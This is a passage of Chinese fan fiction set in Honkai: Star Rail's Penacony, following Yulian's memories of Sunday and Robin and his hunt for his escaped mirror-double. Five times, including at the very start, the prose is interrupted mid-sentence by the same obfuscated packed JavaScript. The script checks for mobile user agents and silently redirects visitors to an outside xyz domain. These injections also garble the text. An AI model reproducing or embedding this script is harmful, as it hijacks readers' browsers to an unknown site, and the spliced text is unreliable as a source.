瞳孔中倒映的身影完全是扭曲变形的,他抿嘴轻笑,直回身体。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591940|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那您是指在匹诺康尼不存在真正的死亡吗?” 尤利安故作惊讶地掩唇,“这么美丽的眼睛,原来看不清东西吗?” “白纸黑字写定的事,何必再来问我呢~” 果然很不对劲,不只是和初见时表现得截然不同,对方活泼到根本不像一个经受过同谐洗脑的家族成员。 “比之初见,您情绪似乎很高涨,在分开的三个小时里遇到什么好事了吗?” “好事、好事……”尤利安歪头,咀嚼这两个字音,眼睛逐渐亮起,愉悦地笑起来:“说的没错!在刚刚三个小时里,我可是碰见了人生中最幸福的事~” 失态好似夜空中迸溅的烟花,激烈地盛开后转瞬冷却,砂金只是眨了一下眼,洋溢的喜悦便被它的主人尽数收回。 尤利安整理了下长发,恢复优雅,仿佛刚才那一幕只是错觉。 他缓缓道:“可惜这份喜悦并不适合分享,我们还是继续先前的话题吧,你正在颠覆匹诺康尼吧——需要我的帮助吗?” 重磅炸弹被轻飘飘地砸下,好像他只是在问一个迷路的旅客是否需要指路,而不是给妄图“收回”匹诺康尼的赌徒提供帮助。 身无分文,基石被夺,脑子里还被星期日设下同谐的枷锁……此时此刻砂金的处境,完全可以被称为人生低谷。 可他的生命本就布满不平的坑洼,更何况,即使再怎么落魄,他也不至于无能到需要来路不明的危险人物帮助。 “不用了,只是一句戏言,不想尤利安先生还当真了。” “欸~不需要我的帮助吗~” 尤利安有些失落,但他很快振作起来,一个箭步冲到冰淇淋车旁,举起一个矮小的皮皮西人。 “我知道了!那你是在等待她的帮助!对吧!” 四周的喧哗声潮水般褪去,无形的屏障架起,将这一方小小的空间与周围人群隔开。 被举起的皮皮西人身体飞快从柔软变得僵硬,鲜活的皮肤板结成粗粝树木,嘴巴大张,一只发条鸟被舌头弹出。 “布谷~布谷~花火时间到!” 皮皮西人嘭得一声炸开,彩带和纸屑猝不及防地飞到二人头上、身上,像是万圣节的无聊恶作剧。 “哎呀~你们墨涅塔族都是这么没礼貌吗,还好花火大人早有准备~” 尤利安笑吟吟认下了少女的指控:“你这么说也没问题,毕竟这个种族只剩下我一个人嘛。” 黑发少女双手叉腰,叹了口气,遗憾地说道:“真有你的啊小孔雀,才一会儿没看,你就和这么麻烦的家伙扯上关系了。” “麻烦的家伙?是指我吗?真是的,明明在座各位也不逞多让吧。”尤利安不满地嘀嘀咕咕。 可他的情绪向来如六月的天一样多变,不一会儿就提起了精神,双手合十兴奋地说道: “不过,既然我识破了愚者的伪装,就代表我更有能力为你提供帮助。” “呐呐,怎么样?让我加入你们的游戏吧!” 12. 第十二章 “哇啊!好苦!” 辛辣酸涩的味道在舌尖炸开,相比理解这份复杂醇厚的风味,初次接触酒水的人第一反应往往是放下杯子,龇牙咧嘴试图吹走嘴里的苦味。 姬子无奈地看着被一杯酒辣到表情失控的星和三月七,正准备端起自己那一杯细细品味,却看见了一个意想不到的人。 “尤利安先生?真巧,没想到会在这里遇到你。” “这么快就和列车的各位再见了,看来我们特别有缘分呢。” 尤利安走下楼梯,来到他们身旁落座,轻笑着应答。 他扫视一圈,眼神落在吧台里陌生的调酒师身上。 “是新来的调酒师吗?可以为我调一杯酒吗?” “当然可以,您需要什么?” “嗯……来杯和星小姐一样的吧。” 调酒师低下头开始摆弄摇酒壶,平稳的姿态和熟练的手法彰显着他的专业。 尤利安的视线停在棕发调酒师身上,皱了皱眉,莫名从他身上感受到熟悉感……像是许多熟人的影子在他身上堆叠。 “慢着。” 加拉赫抬头,目光平静。 “怎么了?客人。” 这么一瞧,又不太像了。 “……将辅料换成这份‘迷惘’。” “好的。” 在铁器与冰块之间,酒水很快调好,被替换了一味材料的酒呈现出一种与剔透完全沾不上关系的紫,沉在高脚杯中,仿若是孩子恶作剧倒进去的混合饮料。 尤利安接过高脚杯,没有饮下,而是侧身继续与姬子搭话。 “姬子小姐,您是星穹列车的领航员,想必已经陪列车在寰宇中巡回许久,见识了不少精彩的星球吧。” “是的,家族想了解什么吗?” 尤利安摆摆手,不好意思地笑道:“并非家族的想法,而是我个人的一些问题希望得到解答……不知列车是否到访过瑞文戴尔?” 瑞文戴尔? 姬子眉头轻蹙,犹豫道:“我并不记得列车曾到访过瑞文戴尔,但这个名字带给我似有似无的熟悉感,如果您并不急切的话,我问一问列车长帕姆。” “嗯,劳烦您费心了。” 发出的消息很快得到回复。 列车长发来的讯息很好地解答了那股似有似无的熟悉感的来源。 “不知您是否知道星穹列车曾银轨断绝,几近陨落?” “有所耳闻。” “列车长说,上一次列车抵达的最后一站就是瑞文戴尔,也是在那里,列车银轨熔断,旅客失踪,开拓险些退出宇宙舞台。” 竟然连星穹列车都在那里脱轨吗…… 尤利安脸上闪过几分复杂,红眸中金光微闪。 匹诺康尼对他家乡发生了什么并没有记录,梦主将他从那里带回,可即使他询问梦主,得到的也只是草草的“战乱”两字,谁引发了战乱?战乱持续了多久?为什么整颗星球上只剩下他一个幸存者?一概不知。 当听到“星穹列车”时,他潜意识里觉得似曾相识,可他能确信自己在匹诺康尼的人生中并未与其有任何接触,这种似曾相识唯一可能的来源,只有他消失的八岁之前的人生。 结果确实如他所想,列车曾到访过瑞文戴尔,只是不想那次到访列车竟与它一同埋葬,如此一来,新的列车上也不太可能会有关于他家乡的详细记载了。 他八岁时到底发生了,导致一颗星球上的全部生命死亡,连银河间的大势力都无人生还。 那一场惨剧,又是否是他现在能力失控,镜像窜逃的原因? 强烈的不安在心间涌动,尤利安压下异样,站起身。 “感谢星穹列车的开拓者们为我解惑,各位此行的花销全部记在我账上就好。” “请不要拒绝,我寻求家乡的消息许久,各位为我提供线索,金钱还不足以表达我万分之一的谢意。” 酒杯举起,明亮的灯光化解了液体的浑浊,将其变作甜美的芋泥紫,轻轻撞击杯壁,好似挥手作别。 “我先去处理事情了,列车的各位,还有这位技艺非凡的调酒师,回头见。” 匆忙举起的酒杯溅出一些金色酒液,滴落在地,像碎落的星子。 尤利安端着那杯酒,消失在他们视线中。 * 梦境中的酒店与现实构造略有不同,走下几段盘旋的阶梯,在酒店的最底层还有一个不对外人开放的房间。 识别信息后,房门打开,数不清的惊梦剧团被困在房间里,出现外人后齐齐转身,眼中红光大闪。 尤利安面不改色,点燃酒杯中的酒液。 火焰在酒精的助燃下熊熊燃烧,淡紫色的烟从火焰中飘出,香甜的“迷惘”化作一只只纤细柔美的手蒙住怪物的眼睛,红光消失,蓄势待发的怪物再次变作无害的摆件。 按理说,这里不该有这么多惊梦剧团的。 这些器械受梦境的情绪干扰陷入失控,从任劳任怨的废铁块变成四处攻击的怪物,被家族清理了大部分,剩下的一点分散在梦境的各个角落,等着给偶然闯入的人一个“惊喜”。 本来就被清理过,加上被分散,一个区域最多也就五六只,于是也就被睁一只眼闭一只眼地留下,充当万圣节增添氛围的整蛊道具。 可在这里的惊梦剧团数量,超过房间外惊梦剧团的总和,甚至超过了整个匹诺康尼服务器械的总和。 因为,它们并非由服务器械转化而来。 尤利安并不清楚这么多惊梦剧团里,有多少是他的罪孽,但他也不太在意,坏事干都干了,再为受害者哭泣未免显得太虚伪了。 他来这里的目的很明确。 从大铁块之间穿梭,很快他就到达了房间中心。 倒悬的钢琴被托举起,白色气泡像是青蛙产下的,还未长成的巨大的卵,密密麻麻挤在一起,折射出七彩的光晕。 这就是他要找到——匹诺康尼所有人的忆泡。 同为记忆星神眷属,【流光忆庭】的技术对他来说并不难破解,缺少器械无法复刻的部分,也被他用星神眷顾的能力填补。 大的白色气泡内部,还有无数小的白色气泡萌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591941|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,层层叠叠,看得人密恐都要犯了。 吊顶边缘垂挂的鸟型雕塑眼睛亮起。 “尤利安,看来你遇上了大麻烦啊。” “梦主大人。”尤利安淡淡应道,“想不到您竟有如此雅兴,特意前来看我的笑话。” 石雕移动,本该牢牢贴合的双翼变作真正的羽毛,从吊顶飞下,沉甸甸落在尤利安肩上。 “希望你不会被你的家主大人三言两语所动摇,违背我们的约定。” “……怎么会呢。”他笑了笑,提及这个约定时心中却不似往日轻松,眉目间满是哀愁。 “工厂是必须的,压迫是必须的,死亡是必须的……我在建设他梦想中的伊甸园,与如此宏大又神圣的梦想相比,任何牺牲都不值一提。” “也希望您能遵守契约,待到谐乐大典开场后,不要让他的妹妹为秩序献唱……即使他的妹妹死去,也不要让他成为新的殉道者。” 黑色乌鸦吐出粗哑人声: “你的想法还是这么自相矛盾。” “矛盾吗……可能吧。”尤利安只是淡淡地笑,不选择为自己辩解。 他眼中的金光早在踏足这间房间时便消失,在记忆与秩序的双重封锁下,同谐的力量被压在最底下,他与梦主之间的对话,不会被家主大人听到一星半点。 或许他就是这么虚伪的一个人,只要离开祂的视线,就会摘下亲手摘下的镣铐……不被信任也是理所当然的。 些许回忆晃过。 在他交代完自己那三个小时大多待在黎明的时刻,杀死逃离“家族”的叛徒后,同谐的审判便自相矛盾,在知更鸟死亡的时间里,他并不在现实的酒店,自然也无法成为凶手。 但神明又指认他为凶手。 为什么会这样……尤利安只能想到一种可能。 “尤利安……” 微凉的手覆在他的眼上,一点湿意从指缝间渗透,沾到他的眼皮上。 呼吸交错,他的神明贴近他,给了他一个无比温暖的拥抱。 “为我找到真正的凶手吧。” 无法拒绝,他的心催促他同意,他也只能同意。 回忆落寞,他再次睁开眼睛。 “在谐乐大典开场前,我定会造出星神的虚像,让高高在上的星神为逝去的【秩序】称颂,不是更伟大吗?” “前提是你真的能在一天内完成你偷天换日的大胆计划。” 乌鸦扇动羽毛,石头的碎屑被风吹起,扑到尤利安脸上,为他白皙的皮肤染上一抹肮脏的黑色。 “当然,我定能让他得偿所愿。” 只能成功,不能失败,这是一场无法回头的旅程,游戏开始就不许暂停。 他在心中嘲笑着自己。 用破碎的影子仿造出星神,尤利安你还真敢想啊。 但是…… 伤痕累累的手放在白色忆泡上,斑斓的回忆闯入他的大脑,浮现在他眼前。 记忆中,天使般圣洁美丽的男孩转身看他,耳羽轻轻抖动。 “喂!尤利安!快跟上来!” 13. 第十三章 被送到小鸟兄妹家中时,谁都认为尤利安活不下去,尤利安自己都这么以为。 不,那时他甚至还没有获得“尤利安”这个名字,用以指代他的名号五花八门,墨涅塔族的遗孤、蝗灾的幸存者,以及——濒死的小鸟。 遍体鳞伤,双目失明,单从他身上的伤势,便得以窥见那场蝗灾的惨烈恐怖,在被带回匹诺康尼后,最优秀的医师为他提供了治疗,药草和绷带捆住他流血的伤口,血肉萌发,痂痕遍长,肢体上的伤痕能够愈合,眼中的白翳却让医师束手无策。 医师诊断不出白翳的原因,医疗器械检测不出他眼睛的疾病,失明的病人本身更是给不出任何反应。 歌斐木将他从废墟中拖回匹诺康尼,本来是看中了墨涅塔族记忆眷属的身份,想将他纳入家族,成为维护匹诺康尼安宁与幸福的执剑人…… 可显然,一个盲人无法成为匹诺康尼的话事人之一,即使花大价钱扶持上去,也难以服众。 自从被救下后,这个墨涅塔族的遗孤就对外界的任何刺激都没有反应,寒冷、疼痛、训诫……不管对他做什么,他都是那副茫然空白的表情,好似被切断了与外界联系的渠道,不喜不悲,不言不语。 况且伤势痊愈后,他皮肤脆弱的毛病就暴露了,连柔嫩的草叶都能在新长出的皮肤上剌开一道伤口,刀枪斧钺,乃至更先进杀伤力更大的武器,落在他身上,造成的形势更不必说——梦主从废墟中费尽心思救出来的,只是个废物。 所幸他还剩下一副好皮囊,一声不吭缩在角落,也是一个赏心悦目的装饰品。 正好同谐的双子在为他们逝去的小鸟哀伤,于是作为宠物,他被人拎着衣领,丢进了新的笼子里。 对于被猝不及防送来的新“宠物”,星期日和知更鸟一时都不知如何是好。 进入温暖的房屋后,他就蜷缩在角落,衣服完全被鲜血浸湿,暴力运输造成的伤口缓缓愈合,可鲜血已经淌了满地。 黏稠的鲜血仿若暗红溪流,在地上转瞬蜿蜒开,丝丝缕缕,交织渗透,浓郁的血腥味也随之弥漫开。 天环族兄妹在这条血河外踟蹰。 片刻后,眼见着他脖子处的绷带还在往外渗血,星期日拦住妹妹,拿着一卷绷带,跨过血河。 “你……你是谁?” 无论是问题还是接近,都没有反应。 他蹲下身,谨慎地戳了下缩成一团的人型生物,发现伤口在自己一戳后又裂开流血后,脸色一僵。 涂满药膏的绷带起到了作用。 年幼的天环族男孩将他裸露的皮肤全缠上绷带,一圈又一圈,直到血色被完全盖在绷带下,变成死板的白。 死气森森的鬼小孩,转眼被裹成白色大粽子。 虽然是以宠物的名号送来的,但谁都无法坦荡地只将他当作宠物养起来。 他们可以为受伤的小鸟搭建鸟巢,将它放在庭中疗伤,但对一个活生生的人,一时谁都没想到合适的处理方法。 “你叫什么名字呀?” 漂亮的天环族女孩围着他打转。 没有回应。 “……你有名字吗?” 依然是一阵沉默。 “你没有名字吗……那我们给你取一个吧。” 他的视线在四周游曳,触及到书架上一本《驳无教养的犬儒》。 “尤利安,怎么样?你喜欢这个名字吗?” 鸦羽般的睫毛颤动着,结满白翳的眼珠转了转。 * 知更鸟登上了离开的列车。 歌声飘远,只留下钢琴独奏。 光环悄然黯淡,浅灰的耳羽也低垂,钢琴上架着的谱面已然发黄发旧,琴声脱离乐谱,独自奏响。 天色已晚,凉凉的月光越过玻璃,流进屋里,流到钢琴上。 琴声如流水,窸窸窣窣的声音从黑暗中传来,半晌后,一个瘦弱的身影从黑暗中钻出。 “尤利安?” 钢琴声暂歇,星期日惊讶地看着他。 “怎么呢?有什么事吗?” 他起身,走到尤利安身边准备检查他身上有没有新的伤口,却被他突如其来的开口惊住了。 “……你在哭吗?” 干涩沙哑的音节从嘴里蹦出,好像刚接触这个世界,还没从单纯的声音转化字符。 显然,他很久没有说话了,话从嘴里吐出自己都不太熟悉,但还是一个个往外蹦字:“你别哭。” 星期日关注的重点有些偏移。 “原来你会说话啊!” * 第一次开口说话后,后面的交流自然而然地增多了。 知更鸟离开匹诺康尼,其他人若无大事又不可能来打扰,偌大的房子里大多时候,只有星期日和尤利安两个人。 自星期日被家族重点培养后,大部分时间里,他随歌斐木在外四处学习奔波,于是在很长一段时间里,都是尤利安一人对着空空的宅院,保持安静,作为不会歌唱的小鸟等候着主人回来。 星期日确实也回来了,带着一身血腥味。 大门打开,朝露的冷气混着似有似无的甜腥味涌入室内,尤利安抬起头,眼睛不安地转动着。 “你受伤了。”他站起身来,虽然看不见,但借着听觉和嗅觉,还是摸索到了星期日身旁,视线似有似无地落到他身上,情绪有些焦虑,“谁让你受伤的?” 星期日抬起手,揉了揉他柔顺的头发,“没事,只是不小心被家族的叛徒刺伤了,很快就会好的。” 尤利安抓住按在自己头发上的手,不安地触碰着手上的皮肤,在发现并没有伤口后,却并没有冷静下来,而是更加焦虑。 “你受伤了,你会死吗?” “不会的,只是小伤……” “不是小伤。”他很坚持地说,“不是小伤,我闻到了很重的血腥味。” 很重很重……混杂着苦涩的药香,一股股钻进他的脑子里,像是刀剐。 “伤了你的人在哪?” “他们已经得到惩罚了……不用担心,尤利安。”那只手拍了拍他的头,然后放下。 接下来不管是什么问题,他的回答都只是“不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591942|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心”。 深夜,趁着星期日熟睡,尤利安悄悄溜进他的房间里,右手轻轻覆在他眼上。 第二天,匹诺康尼狱中被发现一大批人横死,案发现场没有其他人留下的痕迹,最后调查无果,只能结定为自杀。 而星期日醒来,发觉自己的一只手伸出被窝,被按在一个毛茸茸的头顶上。 “尤利安,你怎么睡在这里?” 缩在床边的人迷迷糊糊睁开眼,茫然地看着他,一双暗红色的眼睛澄澈得如同洗净的玻璃。 “我看得见了,我可以跟你一起出去吗?” …… 回忆如潮水般涌来,再见到以前的自己,尤利安不由被蠢得发笑。 他知道自己以前干过不少蠢事,但是没想到从第三视角看,伪装是这么拙劣,故作可怜的姿态看得他生理不适。 在被救下后的很长一段时间,他确实处于对外界毫无感知,每日浑浑噩噩的状态,可伪装的本能就像刻在基因中,后续即使恢复了听觉和视觉,他依然装了很长一段时间聋哑人,遇到合适的时机,才慢慢显出逐步恢复的迹象。 只是那时他太稚嫩,表演得也太蠢,还好这些蠢样子只有一个人看得见,而看见的那个人也并未识破,纵着自己演着弱小又无辜的傻子。 黑历史被忆泡记下了……还好这些忆泡只有他一个人能看见。 乌鸦啄了啄羽毛,黄豆大的眼睛泛着红光。 “你在找什么?” “我在找我的影子……我不知他什么时候从我脚下逃逸,但既然他是我的影子,他的记忆便会被更快地识别捕捉,诞生在这池忆泡间。”鉴于这只乌鸦的真身是梦主,尤利安耐着性子回答,手还在一池白色泡泡里不断翻找。 “哦?那你找到了吗?” “……没有。”尤利安有些泄气,又有些疑惑,“难道是他知道眼睛是载体,所以一直不睁眼……不会吧?我有这么聪明吗?” 不应该啊,即使是自己,短时间内也发现不了这一点,更何况镜像会在原主的基础上能力削弱,感知能力更贫瘠,怎么可能发现自己的眼睛其实也在窥视自己。 他陷入沉思,怀疑自己是不是还有什么天赋自己都没有发觉。 而就在他思考时,一个小小的忆泡在他指缝间萌发,膨胀,变成一个圆鼓鼓的球。 “啊,找到了。” 他闭上眼,食指戳进那个忆泡里。 五颜六色的喷泉,咔擦作响的摄像机,还有掌声不断的人群……搞什么啊,这是去参加苏乐达海选了吗? 尤利安有些无语。 他的镜像为什么会是这么招摇这么活泼的性格?自己明明不喜欢抛头露脸。 但是既然找到了……还是快点去海选现场把他抓回来吧,如果最后真的被他过五关斩六将一路丢脸丢到决赛,那最后的结果还是自己承担。 尤利安睁开眼,满头黑线,几乎可以幻视到自己站在最终舞台上搔首弄姿的模样被摄像头记录下来,沦为匹诺康尼经久不衰的笑谈的惨局。 他不由打了个冷颤。 14. 第十四章 “女士们,先生们,各位逐梦客,富豪,钟表匠和家族的贵宾——” 是那位公司使节的声音。 声音来源是……克劳克影视乐园,不知这些各怀鬼胎的客人们,又准备在那里闹出些什么大事。 尤利安收回视线,不再关注高处的广播。 当务之急是赶紧在苏乐达海选现场找到镜像,防止他干出什么不可挽回的事。 “在我前面有多少位参赛者?” 工作人员带着标准笑容回答道:“只有一位。” 现在距离选拔盛会之星还早,根据忆泡中所呈现的,排在他前面的这位参赛者,应该就是他的镜像。 尤利安没有问那位参赛者的外貌信息,只要他想伪装,他可以伪装成任何人的模样,等到他见到逃窜的复制体,自然能认出他的身份。 两旁的苏乐达喷泉倾泻而下,广告牌五颜六色的光照得人脸上红红白白好不热闹。 工作人员不多,侯在场地外的只有一位女士,穿着工作服,笑容标准到挑不出一丝错误。 她的长相让尤利安莫名有些眼熟。 肩上戴着橡木家系的肩章,大概是以前遇到过但又没有记下名字吧。 “为我打开快速通道,直接抵达那位参赛者的位置。” “请各位参赛者遵守规则,认真闯关。” 尤利安困惑地皱眉。 “我并非参赛,只是为了找到前一位参赛者处理一些矛盾。” “请各位参赛者遵守规则,认真闯关。” 工作人员笑容满面,不管尤利安如何要求如何强调,都只回答这句话,好像只会这句话。 “……你不认识我吗?”如果真的是橡木家系的人,应该会认得他这张脸和标志性的红眼睛。 “请各位参赛者遵守规则,认真闯关——请各位、滴、参赛者——” 仿佛程序报错,面前的工作人员剧烈抽搐起来,脖子像被掰弯的弹簧般左右摇动,带着完美笑容的脸充了气般涨大,普通的五官被涨得扭曲丑陋,然后在尤利安愕然的眼神中,到达极限,砰得一声炸开了。 飞出来的不是血肉,而是花瓣和彩带——一具人形烟花,万圣节恶作剧惊悚升级版。 四周原本拍照打卡的旅客围了上来,带着刚刚炸掉的工作人员同款的笑容,异口同声地说: “请各位参赛者遵守规则,认真闯关——” 说着,好像迫不及待般,一双双大小不同肤色各异的手向前伸出,要把他推出准备场地,推进参赛场。 尤利安后退一步,挥手,冰刃刺出,将他们伸来的手臂连同脖颈一同斩断。 几声重物坠地的响动,但这一次,从断口喷出的不是花瓣和彩带,而是温热的血液。 带血的冰刃融化,冲洗着地上的血迹。 尤利安看着地上几具新鲜的尸体,表情变幻莫测。 他竟然分辨不出血肉之躯和被重构的镜像的区别。 沉默片刻后,他轻笑一声,扳动场地选择开关。 “真是恶俗的挑战啊,不过我接下了。” * 流光一转,再睁眼,等待他的却不是挑战场地,而是……一片废墟。 鲜血、硝烟、坍塌的建筑和在远处炸响的炮声,他这是来到了,战场? “喂!别愣着!”粗壮的绿皮鳄鱼冲他吼道,并将一把枪塞到尤利安手中。 “反抗军死了很多人,但最重要的哈努努还没被抓到,这样回去我们要被石头老板惩罚的!” “快搜!” 说完,他就摇着肥大的尾巴滑稽地走了,留下尤利安看着手中的玩具枪无言以对。 哈努努?石头老板? 这不是匹诺康尼儿童童话里的角色吗? 他这是……被送到了儿童电影里? 那只短而圆的玩具枪和骨节分明的手格格不入。 从他身旁跑过去的绿皮鳄鱼们,身高还不到他腰部。 现在的情况很滑稽。 天空被灰色的烟蒙住,墙壁倒塌的粉尘碎末铺了一地,干涸的血溅在砖块上,像是一封无字的遗书,而在这么真实又严肃的战场中,奔走搜寻的却是一群胖嘟嘟矮墩墩的鳄鱼。 尤利安想,他这一天经历的恶作剧过于的多了。 而这些难题大部分,还是他自己出给自己的。 ……自己果然是一个无聊又讨人嫌的家伙啊。 如果这是拙劣的儿童情景剧,那么破局的关键,会不会是在他要寻找的哈努努身上? 在匹诺康尼生活了这么久,尤利安自然知道哈努努的原型是谁。 被公司判处终身监禁的星际通缉犯,在匹诺康尼的前身阿斯德纳边陲监狱服刑。 不想他入狱后并没有乖乖被狱卒虐待拷打,而是团结犯人,打倒狱卒,和公司斡旋洽谈,让边陲监狱从公司独立,获得自由。 对于匹诺康尼,哈努努无疑是一位伟大的反抗者和奠基人,不然他的卡通形象不会在荧幕上盛行多年,经久不衰。 但剥开历史的帷幕,对方还是一个犯罪后不服管教的犯人,而且能联合犯人推翻监狱长……如果是在现实中,他不想和这样的人敌对。 但是这是儿童情景剧。 找到人,一枪崩了他,然后通关,难度不会太高。 思考完毕,尤利安握紧枪加入搜寻,他的腿比鳄鱼长了不知道多少倍,两三步就走得比他们跑上一两分钟还多。 …… 地下室弥漫着腐烂潮湿的霉味,几个破木桶堆在墙边,把本就不多的空间挤占得更加逼仄,昏黄的灯光在头顶忽明忽暗,好似下一秒就要彻底熄灭。 就在这样的灯光下,钟表小子眯着眼,将他们为数不多的药物涂到了哈努努的伤口上。 炮弹落到地下室上方,房子被炸开,连带着地下室都一阵震动,灰尘被从顶上抖下,把下面几个伤员埋得灰头土脸。 “外面还有好多人搜查。”野花姐姐说道,“我们要在这里待到搜查结束吗?” 哈努努捂住伤口,支起身:“不,虽然石头老板暂时无法发现这里,但是我们在这里待得越久,外面被误伤的镇民就越多。” 又是一声炮声传来。 他们一时安静,狭小的地下室本来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591943|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作用是储存粮食,但是地下室的主人早就被石头老板手下的爪牙抓走了,下一任房主并没有发现房子下还有这么一处小房间,食物在细菌和水的作用下发烂发臭,发酵出的臭气正好盖住了伤员身上的血腥味。 在残酷的战场上,每一分得以喘息的时间都弥足珍贵。 可响起的每一道炮声,都象征着生命的流逝。 “他们会对没有参与反抗的镇民手下留情吗?” “……” 没有人回答,因为在这个问题被问出来前,答案已经很清楚了。 “等炮声消失,我们就出去吧。” 哈努努开口:“不,不能等炮声消失。” “如果炮声消失,那说明石头老板的人就在我们附近。” “所以……等到炮声小一点,我们其中一人就要出去查看情况。” 其他人面色凝重地点头。 “钟表小子,你还能联系上你的船员吗?” “还有人留在船上,等回到地面,我就可以联系他们让他们开船来接我们。” 至于不在船上的……不言自明。 气氛很沉重,牺牲的人都变作一个个无形的重担压在他们肩上,可他们没有太多时间悲伤和缅怀,静默一瞬后,就开始小声讨论行动计划。 炮火声还未停歇,阵阵闷响中,却突然掺杂着一声不大不小的嘎吱声。 那是房子通往地下室的暗门被掀开的声音。 伤员们瞬间噤声,哈努努屏住呼吸,拿起枪,对准木门。 * 伤员往往会藏在地下室中,这是影视作品的惯用套路。 尤利安不怎么喜欢看电影,但是因为亲近的人的妹妹是明星,对于这些文娱作品,他也或多或少有些了解。 没想到他还有一天,真的能用到这些套路——虽然出演角色是遍地搜查,把主角逼入绝境的反派。 ……他好像经常出演反派。 不,或者说电影总是乐于描写小人物通过努力和奋斗推翻大人物的励志故事,而在现实中,作为高高在上的掌权者之一,他和电影主角所代表的团体天然就是对立的。 他转着枪,扣弄着上面鲜艳的塑料配件,朝地面开了一枪。 塑料子弹炸开,飘出一堆彩色纸屑。 ……完全就是儿童玩具啊,还是经过特别无害化处理的。 尤利安收回枪,有些无语。 这个项目或许不该对他开放,做成儿童乐园亲自陪伴模拟项目一定很赚钱。 房屋已经被炮轰烂了一大半,尤利安踢开碎砖块,观察着地板上的痕迹。 深棕色的木板都是一样的又旧又脏,但有那么一块的边缘比其它的更光滑,那是鞋底蹭过斜面磨损出的痕迹。 被他猜中了。 尤利安拽开那块木板,黑漆漆的甬道果然在他面前展开。 一股脏水泡烂菜叶的臭味扑面而来。 他顿了顿,在这股臭气中为自己做了好一番心理建设,然后翻身跳了下去。 硬鞋底和水泥地敲击声在空荡的甬道间回荡,最后停在了最下面的一扇破木门前。 15.第十五章 脚步声逐渐增大,然后,停在门口。 枪口对准木门,枪管中有且仅有一枚子弹,如果在门被推开的那一刹那,这枚子弹不能精准命中,那么地下室里的伤员再没有防卫的手段,只能为人鱼肉。 呼吸声都放轻了。 所有人的目光都聚集在那扇木门上。 来搜查的人和他们之间,只隔着一扇不足一指厚的木门。 什么时候被打开?他们又能不能逃出去? 就在所有人都屏息凝神时,一道铃声响起。 他们惊疑地对视,然后松了口气,铃声来源门外。 “不用搜了!尸体已经找到了!”粗粝的男声经过手机加工后更显失真。 “大名鼎鼎的哈努努,最后竟然被一颗流弹炸得面目全非!石头老板知道了一定会奖励我们的!” 滴—— 电话被挂断的声音。 随后,脚步声再次响起,这次却是规律地变小,直到又一声咯吱后,消失不见。 逃过一劫。 地下室里的幸运儿们松了口气,幸运眷顾着他们,一墙之隔,对方却因为收到了消息选择不打开这扇门。 “他们说找到了哈努努的尸体……” “估计是谁为了让我们脱险,给别人套上了哈努努的装扮。” 至于那个人是镇民,是船员,还是只是一个意外死亡的死者……他们现在无暇关心。 最重要的是,他们要安全地从这里离开。 炮声还在断断续续地炸响,不过这次的目标,只有和他们一起抗争的镇民。 修整一番后,他们中身上伤势最少的人出去勘察情况,随后几人全部离开地下室,重回地面。 飞扬的尘灰在地面上布着一层厚厚的网,建筑尽是残垣,原本该生活在房屋里的镇民都消失不见,石头老板的手下已经退到了远处,只留一道若隐若现的绿线。 他们东躲西藏,小心翼翼地搜寻着,终于在一扇断墙被黄土掩埋的底端,发现了一道讯息。 黄土被哈努努用手指拂下,其下的蓝字暴露了出来。 「注意身后」 他心下一惊,下意识地回头,起了一身鸡皮疙瘩。 就在他回头的那一刻,枪口抵住了他的眉心。 “离开了老鼠洞,我们终于可以好好谈谈了。” * 尤利安很满意自己的出场方式。 先在老鼠洞前放一颗奶酪,然后在它出洞后,给它营造出家中无人的假象,最后在它在家中肆无忌惮地觅食,被老鼠夹夹中后,拎起它的尾巴,告诉它一切都在计划之中。 就像他现在做的这样。 塑料枪口按在卡通小人脑门上,因为高度差,他还需要蹲下身,才能完成这帅气的出场。 ……枪托还把哈努努小人的帽子顶歪了。 怎么会有人逃命还戴着礼帽和墨镜啊……果然是儿童剧,为了演出效果要抛却一些基本逻辑吗? 尤利安在心中不停吐槽着,面上却毫不显露,在有人看着的情况下,他的表情管理一向合格。 